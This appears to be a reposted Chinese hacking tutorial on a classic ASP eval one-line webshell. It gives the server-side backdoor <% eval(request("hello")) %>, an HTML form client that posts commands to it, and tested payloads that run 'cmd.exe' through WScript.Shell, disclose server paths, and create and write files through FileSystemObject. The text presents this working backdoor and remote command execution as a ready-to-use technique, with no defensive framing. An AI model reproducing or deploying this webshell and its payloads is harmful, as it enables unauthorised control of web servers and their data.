| 关键词: 8230 语句 MsgBox eval server nbsp response createobject write mappath |
网上的eval asp木马,客户端其实还是调用了execute语句,这样比较方便。如果纯用eval 的话,也不难。但是在eval方法中,有些地方要注意。VBS里正确的写法如下: EVAL(MsgBox ("1")&MsgBox ("2")) 'Eval 方法,表达式Eval ("msgbox(""1"")&msgbox(""2"")")Eval "MsgBox (""1"")&vbrlf&MsgBox (""2"")"Eval MsgBox ("1")&vbrlf&MsgBox ("2") EVAL后跟的语句有许多限制。这个要仔细体会。明白了这些,我们简单测试: S端:<% eval(request("hello")) %> C端:<form action=http://192.168.8.100/2.asp method=post name=form1> <textarea name=hello cols=120 rows=10 width=45> </textarea> <input type=button value=提交 onclick='vbs:hello.value=trim(replace(replace(replace(hello.value,vbcrlf,""),chr(13),""),chr(10),"")):document.all.form1.submit'> …………………………………………………………………………………………………… 在C端,我能成功利用的语句如下几条,你想自己加就加吧: 1。response.write(server.mappath("/")) '注意到没有,我加了(),如果不加(),我没测试成功。2。response.write(server.createobject("wscript.shell").exec("cmd.exe /c dir c:\").stdout.readall)3。server.CreateObject("Scripting.FileSystemObject").CreateTextFile(server.mappath("1122.txt"))4。server.CreateObject("Scripting.FileSystemObject").OpenTextFile(server.mappath("1122.txt"),8,True,0).WriteLine("123") 我用adodb.stream没有成功。语句没错,只是老说是对象没打开。上边的语句都是单语句,如果多语句的话可以用&连接。 另:execute就简单了s.asp?pass=response.write "1":response.write "2" |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|